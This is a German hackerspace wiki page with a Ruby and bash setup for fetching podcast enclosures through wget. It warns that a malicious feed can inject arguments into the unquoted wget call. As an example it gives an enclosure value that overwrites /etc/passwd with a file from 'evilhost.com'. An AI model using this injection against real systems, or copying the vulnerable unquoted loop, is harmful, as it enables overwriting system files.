c3d2-wiki/Podcast-fetching.mw

30 lines
1.1 KiB
Plaintext
Raw Permalink Normal View History

2006-01-02 02:29:13 +01:00
Damit im [[Office2]] keine Bandbreite verschenkt wird, während niemand da ist, soll [[Office2/Netz#aromaster|Aromaster]] ein paar Podcasts runterladen. Das wird natürlich manuell ausgeführt.
2006-01-02 02:12:30 +01:00
==podcast-enclosures.rb==
2007-06-05 14:24:22 +02:00
<source lang="ruby">#!/usr/bin/env ruby
2006-01-02 02:12:30 +01:00
require 'rexml/document'
if ARGV.size != 1
puts "Usage: #{$0} <podcast.rss>"
exit
end
file = File.new(ARGV[0])
REXML::Document.new(file).root.each_element("//enclosure") { |e|
puts e.attributes['url']
2007-06-05 14:24:22 +02:00
}</source>
2006-01-02 02:12:30 +01:00
==fetch_radiochaotica.sh==
2007-06-05 14:24:22 +02:00
<source lang="bash">#!/usr/bin/env bash
2006-01-02 02:12:30 +01:00
WGETFLAGS='-c'
cd /home/astro/public_html/radiochaotica/
wget -O radiochaotica.rss http://blogs.bl0rg.net/radio_chaotica/index.xml
for url in $(ruby ~/podcast-enclosures.rb radiochaotica.rss); do
wget $WGETFLAGS $url
done
2007-06-05 14:24:22 +02:00
rm radiochaotica.rss</source>
2006-01-02 02:12:30 +01:00
Vor Aktion sollte man den Feed vielleicht noch manuell betrachten, sonst kann man dem wget-Aufruf Parameter untermogeln. Z.B.:
2007-06-05 14:24:22 +02:00
<source lang="xml"><enclosure url="-O /etc/passwd http://evilhost.com/megaevil-password-file" /></source>
2007-06-05 14:24:22 +02:00
[[Kategorie:Ruby]]
{{Rübÿ Spëëd Mëtäl Cödïng}}